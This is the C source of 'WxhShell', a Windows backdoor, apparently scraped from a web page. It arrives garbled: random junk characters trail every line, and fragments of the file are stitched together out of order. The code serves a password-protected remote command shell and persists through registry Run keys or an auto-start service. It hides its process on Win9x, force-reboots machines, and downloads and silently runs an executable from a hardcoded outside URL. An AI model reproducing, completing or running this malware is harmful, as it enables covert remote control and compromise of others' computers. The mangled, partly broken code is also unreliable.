  case 'd': { (9!$p|d*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~Z74e>V%  
    if(Boot(SHUTDOWN))  V6opV&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H7&>cM  
    else { \k?Fu=@  
    closesocket(wsh); T#ktC0W]h  
    ExitThread(0); :bJT2o[  
    } SFKfsb!C  
    break; TvV_Tz4e  
    } YVcFCl  
  // 获取shell P ?- #d\qi  
  case 's': { Lye^G% {  
    CmdShell(wsh); 5u(,g1s}UZ  
    closesocket(wsh); : ,0F_["3  
    ExitThread(0); }/dGC;p"  
    break; AoL2Wrk]\B  
  } "pQFIV,  
  // 退出 @|3PV  
  case 'x': { r&$r=f<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7x 6q:4Ep\  
    CloseIt(wsh); wH?r522`c  
    break; 3>Ne_kY  
    } <4l;I*:2&  
  // 离开 0rnne L  
  case 'q': { J|$(O$hYy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y7iHB k"^:  
    closesocket(wsh); n U0  
    WSACleanup(); >bgx o<  
    exit(1); BWtGeaW/sr  
    break; 0a1Vj56{)  
        } OrN~ Y#D  
  } l"T{!Oq  
  } "pa}']7#  
)GbVgYkk  
  // 提示信息 8eAc 5by  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #YABb wH  
} u~JCMM$  
  } hxt,%al  
0!Zp4>l\Z  
  return; 0uw3[,I   
} pwu8LQ3b{O  
!YM;5vte+  
// shell模块句柄 ,WvCslZ  
int CmdShell(SOCKET sock) >~+'V.CNW  
{ Cob<N'.  
STARTUPINFO si; #b^x!lR  
ZeroMemory(&si,sizeof(si)); y<r@zb9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p3e_:5k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,McwPHEMB  
PROCESS_INFORMATION ProcessInfo; c8R#=^ DD  
char cmdline[]="cmd"; t<UtSkE1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3#d?  
  return 0; '[T#d!T  
} JDa=+\_  
|._9;T-Yde  
// 自身启动模式 cH== OM7&-  
int StartFromService(void) KNI* :  
{ ?3=D-Xrb  
typedef struct GS<aXh k  
{ 4>JDo,AWy  
  DWORD ExitStatus; D&)w =qIu  
  DWORD PebBaseAddress; |i/Iv  
  DWORD AffinityMask; |I0O|Zdv  
  DWORD BasePriority; q?9x0L  
  ULONG UniqueProcessId; RV%aFI )  
  ULONG InheritedFromUniqueProcessId; :!fP~(R'm  
}   PROCESS_BASIC_INFORMATION; |FR'?y1  
*5Mg^}ZC5  
PROCNTQSIP NtQueryInformationProcess; J)148/  
JGLjx"Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JA")L0a_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #z( JYw,  
x)^/3  
  HANDLE             hProcess; RyAss0Sm^  
  PROCESS_BASIC_INFORMATION pbi; K6 {0`'x  
y4^w8'%MC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \G+uK:PC,  
  if(NULL == hInst ) return 0; +nLsiC{&  
r+#!]wNPe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y*f 5_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q?1' JF!G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]<Ugg  
Q5!"tF p  
  if (!NtQueryInformationProcess) return 0; qGH s2Og  
c@uNA0 p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lZ\8$,B)  
  if(!hProcess) return 0; );m7;}gE  
CyWaXp65  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =m+'orJ1  
iJ7?6)\  
  CloseHandle(hProcess); /q3]AVV  
eM>f#M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #]vy`rv  
if(hProcess==NULL) return 0; !)nA4l= S#  
:(^, WOf  
HMODULE hMod; Sz"rp9x+  
char procName[255]; SL j2/B0  
unsigned long cbNeeded; 2V-zmyJs5  
zG[GyyAQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vv9=g*"j  
qYwEPGa\  
  CloseHandle(hProcess); O<:"Irq\qr  
xM#+jI  
if(strstr(procName,"services")) return 1; // 以服务启动  GD]yP..  
C}7 c:4c  
  return 0; // 注册表启动 !8z,}HUdK  
} V~9s+>  
3ZAPcpB2  
// 主模块 ^hMJNy&R  
int StartWxhshell(LPSTR lpCmdLine) X}-) io  
{ LKEf#mp  
  SOCKET wsl; m\Xgvpv rP  
BOOL val=TRUE; ['G@`e*\  
  int port=0;  hxedQvW  
  struct sockaddr_in door; l9zkx'xt.-  
9:]w|lE:D  
  if(wscfg.ws_autoins) Install(); ZQ0R3=52r  
)S,Rx  
port=atoi(lpCmdLine); _a?(JzLw5  
|3h-F5V)  
if(port<=0) port=wscfg.ws_port; YhZmyYamE  
\["'%8[:gR  
  WSADATA data; 'f?=ks<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z0(}doh  
T&/ ]|4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j$he5^GC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;QiSz=DyA  
  door.sin_family = AF_INET; FA+'E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {hE\ECT-  
  door.sin_port = htons(port); =/|2f; Q  
U^xz>:~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Jxq;Uu9  
closesocket(wsl); sXpA^pT"T  
return 1; 65~X!90k  
} >7fNxQ  
 $O)fHD'  
  if(listen(wsl,2) == INVALID_SOCKET) { ]W7e2:Hra  
closesocket(wsl); ;mi+[`E  
return 1; Oh|KbM*vS  
} =:5o"g  
  Wxhshell(wsl); Q`ALyp,9b  
  WSACleanup(); p1O[QQ|  
7a<-}>sU  
return 0; HqZ3]  
q#mw#Uw-  
} )[c@5zy~*  
^e 1Ux  
// 以NT服务方式启动 w<0F-0:8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Avc9W[4  
{ H/v|H}d;  
DWORD   status = 0; Ha}TdQ%  
  DWORD   specificError = 0xfffffff; "s6\l~+9l  
&rj)Oh2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zdm7As]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lV*dQwa?i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'H]&$AZ;@  
  serviceStatus.dwWin32ExitCode     = 0; #7Pnw.s3zz  
  serviceStatus.dwServiceSpecificExitCode = 0; S 6|#9C&  
  serviceStatus.dwCheckPoint       = 0; :d!qZFln  
  serviceStatus.dwWaitHint       = 0; uE}A-\G  
{tN?)~ZQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WqHsf1? N  
  if (hServiceStatusHandle==0) return; %+{[%?xh  
N1vPY]8  
status = GetLastError(); }%@q; "9`  
  if (status!=NO_ERROR) 8}^R jMgI  
{ ):c)$$dn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !=Hu?F p  
    serviceStatus.dwCheckPoint       = 0; e[:i`J2  
    serviceStatus.dwWaitHint       = 0; z+k[HE^S  
    serviceStatus.dwWin32ExitCode     = status; k v>rv37u  
    serviceStatus.dwServiceSpecificExitCode = specificError; lDV}vuM<4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {?zBc E:  
    return; 5xsGSoa+  
  } Kz>Bw;R(  
EV$$wrohQ`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jnu!a.H  
  serviceStatus.dwCheckPoint       = 0; X>$s>})Y  
  serviceStatus.dwWaitHint       = 0; REj<2Lo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MKr)6PG,  
} !L=RhMI  
b":3J)Y6.  
// 处理NT服务事件,比如:启动、停止 nc.(bb),  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qpCNvhi  
{ ]m(C}}  
switch(fdwControl) CHojF+e  
{ I_k!'zR[N  
case SERVICE_CONTROL_STOP: cu~\&3 R  
  serviceStatus.dwWin32ExitCode = 0; lQ]8PR t8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K!\$MBI  
  serviceStatus.dwCheckPoint   = 0; t 5{Y'  
  serviceStatus.dwWaitHint     = 0; zBKfaQI,  
  { j mH=W)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TJhzyJ"t  
  } X;vfbF   
  return; ~:ldGfb|  
case SERVICE_CONTROL_PAUSE: *>#mI/#}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (z:DTe  
  break; YWXY4*G  
case SERVICE_CONTROL_CONTINUE: AB1.l hR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *\M$pUS{  
  break; Ul`~d !3zH  
case SERVICE_CONTROL_INTERROGATE: P#ro;3S3y  
  break; qIC9L"I  
}; WCpCWtmy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L#}HeOEi[  
} \@K KX  
XP |qY1  
// 标准应用程序主函数 KIeTZVu$%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w~n7l97Pw  
{ "7. lsL5  
z5k9|.hgw  
// 获取操作系统版本 Ol@ssm  
OsIsNt=GetOsVer(); t V:oBT*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $}TK ,/W  
it\U+xu  
  // 从命令行安装 ydx-` yg#  
  if(strpbrk(lpCmdLine,"iI")) Install(); O7x'q<PFU  
5{esL4k  
  // 下载执行文件 #@v$`Df<  
if(wscfg.ws_downexe) { GcpAj9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DJGq=*  
  WinExec(wscfg.ws_filenam,SW_HIDE); (3[Lz+W.u  
} Z{".(?+}1  
XoZw8cY  
if(!OsIsNt) { ,o{|W9  
// 如果时win9x,隐藏进程并且设置为注册表启动 1yg5d9  
HideProc(); l[cBDNlrC;  
StartWxhshell(lpCmdLine); KBO{ g:"  
} =ll{M{0Q]!  
else rRK^vfoJ`  
  if(StartFromService()) v6$ }saTX  
  // 以服务方式启动 "4,Zox{^  
  StartServiceCtrlDispatcher(DispatchTable); Jy?#@/~  
else (X(296<;  
  // 普通方式启动 EK JPeeRY  
  StartWxhshell(lpCmdLine); wRATe 0'  
$zR[2{bg  
return 0; &AS<2hB  
} KXS{@/"-B  
Naqz":%.  
IdzrQP  
'(4#He?Gd  
=========================================== D{J+}*y  
M }H7`,@I  
</%n:<z4  
!K~L&.\T  
j_I  
@|1/yQgi  
" * I{)8  
:/1/i&a  
#include <stdio.h> m K);NvJ!  
#include <string.h> JBCJVWUt  
#include <windows.h> {;kH&Pp  
#include <winsock2.h> :AzP3~BI  
#include <winsvc.h> F:P&hK  
#include <urlmon.h> ndY1j5  
*a2 y  
#pragma comment (lib, "Ws2_32.lib") Z#i5=,Bk  
#pragma comment (lib, "urlmon.lib") ! 54(K6a[  
,M)NC%0X  
#define MAX_USER   100 // 最大客户端连接数 bns([F  
#define BUF_SOCK   200 // sock buffer R06zca  
#define KEY_BUFF   255 // 输入 buffer R'.YE;leBG  
_]Ei,Ua  
#define REBOOT     0   // 重启 =)p/p6  
#define SHUTDOWN   1   // 关机 qU/,&C  
-nvK*rn>}  
#define DEF_PORT   5000 // 监听端口 G|"`kAa  
[p%OIqC`pB  
#define REG_LEN     16   // 注册表键长度 JuD$CHg;#  
#define SVC_LEN     80   // NT服务名长度 FQ72VY  
>~% _U+6  
// 从dll定义API ~Xf&<&5d T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HxgH*IMs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q.dHg7+D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n* 7mP   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?pLKUAh  
P!Mz5QZ+  
// wxhshell配置信息 A)X 'We  
struct WSCFG { "E><:_,\  
  int ws_port;         // 监听端口 t\p_QWnF  
  char ws_passstr[REG_LEN]; // 口令 !{L6 4qI  
  int ws_autoins;       // 安装标记, 1=yes 0=no S(5aJ[7Zm  
  char ws_regname[REG_LEN]; // 注册表键名 F%v?,`_&I  
  char ws_svcname[REG_LEN]; // 服务名 OFtAT@ =O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'za4c4b*u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :<`hsKy&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'aWzam>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4*<27  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A^a9,T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9=-!~ _'1-  
wF`9}9q  
}; abvA*|  
),K!| 7#h  
// default Wxhshell configuration ~TGk`cAM>  
struct WSCFG wscfg={DEF_PORT, 6 s+ Z  
    "xuhuanlingzhe", )$wX~k  
    1, g!k'tizYD  
    "Wxhshell",  mB:I8g7  
    "Wxhshell", m>@$T x  
            "WxhShell Service", CDz-IQi  
    "Wrsky Windows CmdShell Service", n-cz xq%n  
    "Please Input Your Password: ", Xu1tN9:oE  
  1, h.\9a3B:r  
  "http://www.wrsky.com/wxhshell.exe", )I`6XG  
  "Wxhshell.exe" <.d0GD`^  
    }; O*<,lq 0K  
bB^SD] }C  
// 消息定义模块 JQ*CF(9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e:BKdZGW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CPI7&jqu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "~f=7  
char *msg_ws_ext="\n\rExit."; 'WUevPmt  
char *msg_ws_end="\n\rQuit."; 8#Q=CTjF  
char *msg_ws_boot="\n\rReboot..."; iCouGd}  
char *msg_ws_poff="\n\rShutdown..."; .&53WL[D|  
char *msg_ws_down="\n\rSave to "; ,UdTUw~F  
e/?>6'6 5  
char *msg_ws_err="\n\rErr!"; 27;t,Oq}  
char *msg_ws_ok="\n\rOK!"; UeVRd  
P2nb&lVdu  
char ExeFile[MAX_PATH]; !2('Cq_^  
int nUser = 0; ~D4%7U"dv  
HANDLE handles[MAX_USER]; 0!n6tz lT  
int OsIsNt; o <lS90J  
V9 pKb X  
SERVICE_STATUS       serviceStatus; rZ~.tT|(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nnU &R  
B=:7N;BT  
// 函数声明 6 ]@H.8+  
int Install(void); .[-d( #l{l  
int Uninstall(void); C^po*(W6  
int DownloadFile(char *sURL, SOCKET wsh); ?PIOuN=  
int Boot(int flag); K"cN`Kj<*-  
void HideProc(void); 8"a[W3b  
int GetOsVer(void);  \|Qx`-  
int Wxhshell(SOCKET wsl); ]F@XGJN  
void TalkWithClient(void *cs); ( _ZOUMe  
int CmdShell(SOCKET sock); _RFTm.9&  
int StartFromService(void); i0($@6Lh  
int StartWxhshell(LPSTR lpCmdLine); Z[baQO  
)w8h2=l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,H3~mq]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xj/ +Z!,9  
nQc]f*  
// 数据结构和表定义 m~fA=#l l  
SERVICE_TABLE_ENTRY DispatchTable[] = 7P`|wNq  
{ K h}Oiw  
{wscfg.ws_svcname, NTServiceMain}, Cwxy ~.mI  
{NULL, NULL} Fz_SID  
}; fPs' A  
"lo:"y(u  
// 自我安装 h Znq\p~  
int Install(void) hsVf/%  
{ g/b_\__A  
  char svExeFile[MAX_PATH]; @)>9l&  
  HKEY key; m<>3GF,5bP  
  strcpy(svExeFile,ExeFile); 2 $^n@<uZ@  
v1yNVs \}  
// 如果是win9x系统,修改注册表设为自启动 IYq)p /  
if(!OsIsNt) { 'IweN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :XK.A   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nf5Ld"|%9  
  RegCloseKey(key); V `V Z[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k0{5)Su"xr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *5k" v"NM(  
  RegCloseKey(key); ZM/*cA!"  
  return 0; 'aQ"&GX@  
    } NhyVX%qt:  
  } <im BFw  
} yz}Agc4.I  
else { F:.rb Ei  
(gQ^jmZPG  
// 如果是NT以上系统,安装为系统服务 DFKU?#R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c|[:vin  
if (schSCManager!=0) qALlMj--m  
{ /s3AZ j9  
  SC_HANDLE schService = CreateService m$xL#omD  
  ( -MV</  
  schSCManager, nz:I\yA  
  wscfg.ws_svcname, `<Xq@\H  
  wscfg.ws_svcdisp, #`5{?2gS9  
  SERVICE_ALL_ACCESS, Ey$J.qw3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `1F[.DdF  
  SERVICE_AUTO_START, >&mlwxqv  
  SERVICE_ERROR_NORMAL, cB U,!  
  svExeFile, iN0gvjZ  
  NULL, ]Cpd`}'  
  NULL, MP\$_;&xB  
  NULL, I"4j152P|  
  NULL, " d3pkY  
  NULL |:SBkM,  
  ); 1;<J] S$$  
  if (schService!=0) T8 k@DS  
  {  $j*j {}K  
  CloseServiceHandle(schService); zhbp"yju7  
  CloseServiceHandle(schSCManager); 9 WsPBzi"T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ep/4o< N(  
  strcat(svExeFile,wscfg.ws_svcname); s5T$>+ a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nS0K&MH6B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cg$@x\fJ  
  RegCloseKey(key); > $0eRVL  
  return 0; "ZDc$v:Qa  
    } N.OC _H&  
  } wkK61a h6  
  CloseServiceHandle(schSCManager); 0[@ 9f1Nk4  
} c#M 'Mye  
} (.,`<rXw  
ps1ndGp~#  
return 1; B5>h@p-UV  
} h4x*C=?A  
E(A7DXzbR  
// 自我卸载 mw9;LNi\D  
int Uninstall(void) z5PFppSQ  
{ GUJ[2/V~A  
  HKEY key; pmd=3,D'u  
6/@"K HHVe  
if(!OsIsNt) { uBI?nv,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @e#eAJhU  
  RegDeleteValue(key,wscfg.ws_regname); :SilQm*Pl  
  RegCloseKey(key); Ml)~%ZbF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'awL!P--  
  RegDeleteValue(key,wscfg.ws_regname); /w0l7N  
  RegCloseKey(key); O;c;>x_dA  
  return 0; Ym+k \h  
  } m RB-}  
} @BWroNg{  
} 4Y5Q>2D}  
else { B RF=TL5Z  
',k0 _n?t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K*Y.mM)  
if (schSCManager!=0) :nYl]Rm  
{ #W,BUN}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _sIhQ8$:  
  if (schService!=0) B`)o?GcVN  
  { }18}VjC!  
  if(DeleteService(schService)!=0) { K 0RY2Hiw  
  CloseServiceHandle(schService); .a\b_[+W  
  CloseServiceHandle(schSCManager); 09<O b[%h  
  return 0; yCZV:R;  
  } *(@(9]B~  
  CloseServiceHandle(schService); hM^#X,7  
  } cUssF%ud]  
  CloseServiceHandle(schSCManager); \D(6t!Ox  
} GGk.-Ew@  
} U.<';fKnT  
J >Zd0Dn  
return 1; /v"u4Ipj  
} u9rlNmf$  
_hyboQi  
// 从指定url下载文件 {s!DRc]ln  
int DownloadFile(char *sURL, SOCKET wsh) ZKTOif}  
{ UA$ XjP  
  HRESULT hr; R'f|1mt  
char seps[]= "/"; `9rwu:3i  
char *token; @Ong+^m|PC  
char *file; 5qtZ`1Hq  
char myURL[MAX_PATH]; Q{6Bhx *>  
char myFILE[MAX_PATH]; ss'#sPX  
:U!knb"/>  
strcpy(myURL,sURL); ez_qG=J .  
  token=strtok(myURL,seps); (y%}].[bB  
  while(token!=NULL) @'`!2[2'?  
  { S'qEBz  
    file=token; )p'ZSXb  
  token=strtok(NULL,seps); TB 9{e!4  
  } ,-^Grmr4M  
O_aZ\28};C  
GetCurrentDirectory(MAX_PATH,myFILE); kx8\]'  
strcat(myFILE, "\\"); x'_I{$C &  
strcat(myFILE, file); %[0V>  
  send(wsh,myFILE,strlen(myFILE),0); |SC^H56+  
send(wsh,"...",3,0); VE5w!of  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tr0P ;}=  
  if(hr==S_OK) rlr)n\R#  
return 0; nsFOtOdd  
else IMLk{y%6  
return 1; ,2T&33m  
W]MKc&R  
} x>vC;E${"  
HbQ `b  
// 系统电源模块 ]TQ2PVN2  
int Boot(int flag) v'uWmL7C  
{ hN*,]Z{  
  HANDLE hToken; S 4uX utd  
  TOKEN_PRIVILEGES tkp; )*@n G$i99  
3wK{?  
  if(OsIsNt) { }}y$T(:l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X@KF}x's  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  " Mzb  
    tkp.PrivilegeCount = 1; c}GmS@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k4jZu?\C]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); heJI5t,  
if(flag==REBOOT) {  nN1\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Yy`\??,  
  return 0; gV@FT|j!i  
} - &u]B$  
else { Jm&7&si7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GJN"43  
  return 0; 0zfh:O  
} ek!x:G$'  
  } N9hs<b+N_  
  else { 7l}P!xa&  
if(flag==REBOOT) { P6'Oe|+'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0o~? ]C  
  return 0; KDr?<"2L  
} 9TRS#iVL+*  
else { %suSZw`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6L[Yn?;  
  return 0; u;p.:{'  
} o))z8n?b  
} m  "'  
/H.w0fu&.S  
return 1; 94 58.!3  
} !h3 $C\  
d-Vttxa6  
// win9x进程隐藏模块 c,nE@~ul2  
void HideProc(void) Hx[YHu KL^  
{ R:c$f(aKv%  
 >d-By  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ("07t/||  
  if ( hKernel != NULL ) R6l`IlG`  
  { A;ip V :)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZDEz&{3U;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =@(&xfTC  
    FreeLibrary(hKernel); {3n|=  
  } JDPn   
n{sF'n</  
return; 87WIDr  
} ..BIoSrj  
FOJ-?s(  
// 获取操作系统版本 &?N1-?BjM  
int GetOsVer(void) hG~4i:p <  
{ d-/{@   
  OSVERSIONINFO winfo; 3cfJ(%'X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4/UY*Us&  
  GetVersionEx(&winfo); Wno{&I63  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (;DnL|"'8  
  return 1; k4:$LFw@  
  else K|JpkEw  
  return 0; U-~cVk+LI  
} 52Sq;X  
N$>.V7H&  
// 客户端句柄模块 $yxwB/O(  
int Wxhshell(SOCKET wsl) d%+oCoeb  
{ >np!f8+d"q  
  SOCKET wsh; >h:rYEsh8V  
  struct sockaddr_in client; 'fpm] *ig  
  DWORD myID; ~[n]la  
SOE 5`  
  while(nUser<MAX_USER) sa8JN.B  
{ cbe&SxJ  
  int nSize=sizeof(client); We%HdTKT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S,ZlS<Z#  
  if(wsh==INVALID_SOCKET) return 1; e4:,W+g,9  
ay~c@RXW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {"{kWbXZ  
if(handles[nUser]==0) matW>D;J  
  closesocket(wsh); h-r\ 1{Q1]  
else r{NCI  
  nUser++; P5$d#Y(=  
  } 0 D^d-R,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fny|^F]w  
RcJ.=?I!  
  return 0; &1nZ%J9  
} ]b5E_/P  
eCejO59F9  
// 关闭 socket Cj{+DXT  
void CloseIt(SOCKET wsh) p;8I@~dh  
{ NTq#'O) f  
closesocket(wsh); 2@7f^be  
nUser--; O7<--  
ExitThread(0); vG E;PwR  
} r 0m A  
m~7[fgN2  
// 客户端请求句柄 MU_8bK9m  
void TalkWithClient(void *cs) i'XW)n  
{ N RB>X  
LPuc&8lGWf  
  SOCKET wsh=(SOCKET)cs; wXUP%i]i=  
  char pwd[SVC_LEN]; O*qSc^9q  
  char cmd[KEY_BUFF]; !9 7U2L4  
char chr[1]; ^YVd^<cE  
int i,j; 'v|R' wi\  
[[vu#'bc  
  while (nUser < MAX_USER) { w4:|Z@I  
cf\PG&S  
if(wscfg.ws_passstr) { Ltk'`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {B;<R1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tjONN(K`  
  //ZeroMemory(pwd,KEY_BUFF); 3K)12x$.K  
      i=0; (29h{=P'  
  while(i<SVC_LEN) { qH 1k  
a4a/]q4T  
  // 设置超时 <]: X  
  fd_set FdRead; ,[gu7z^|  
  struct timeval TimeOut; lI,lR  
  FD_ZERO(&FdRead); Q4~/Tl;  
  FD_SET(wsh,&FdRead); [Eq7!_ 3  
  TimeOut.tv_sec=8; |A .U~P):  
  TimeOut.tv_usec=0; {TmrWFo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n,,hE_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #.Q3}[M  
9^yf'9S1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a"ct"g=  
  pwd=chr[0]; /-C`*P=:u  
  if(chr[0]==0xd || chr[0]==0xa) { RC[mpR ;2  
  pwd=0; .~3s~y*s  
  break; ,Z3 (`ftC  
  } B7'rbc'  
  i++; f{i~hVF  
    } 2Ra}&ie  
_1>Xk_  
  // 如果是非法用户,关闭 socket "c+j2f'f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kdq<)>"  
} cA,`!dG2,  
+ConK>;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &XvSAw+D@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @%FLT6MY  
Q4;%[7LU  
while(1) { T O]wD^`  
OV~]-5gau  
  ZeroMemory(cmd,KEY_BUFF); tVUC@M>'  
iY~.U`b`  
      // 自动支持客户端 telnet标准   NA :_yA"  
  j=0; /m"#uC!\  
  while(j<KEY_BUFF) { pxGDzU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yuef84~  
  cmd[j]=chr[0]; E%.w6-  
  if(chr[0]==0xa || chr[0]==0xd) { i(Xz3L#(  
  cmd[j]=0; v0aV>-v  
  break; H\>0jr `  
  } rd )_*{  
  j++; G5l?c@o  
    } uGoySt&;(  
!^Ly#$-X  
  // 下载文件 5%6{ ePh{  
  if(strstr(cmd,"http://")) { V/t/uNm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y^u9Ttf{  
  if(DownloadFile(cmd,wsh)) (GCeD-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e> zv+9'Q  
  else eb ` !  
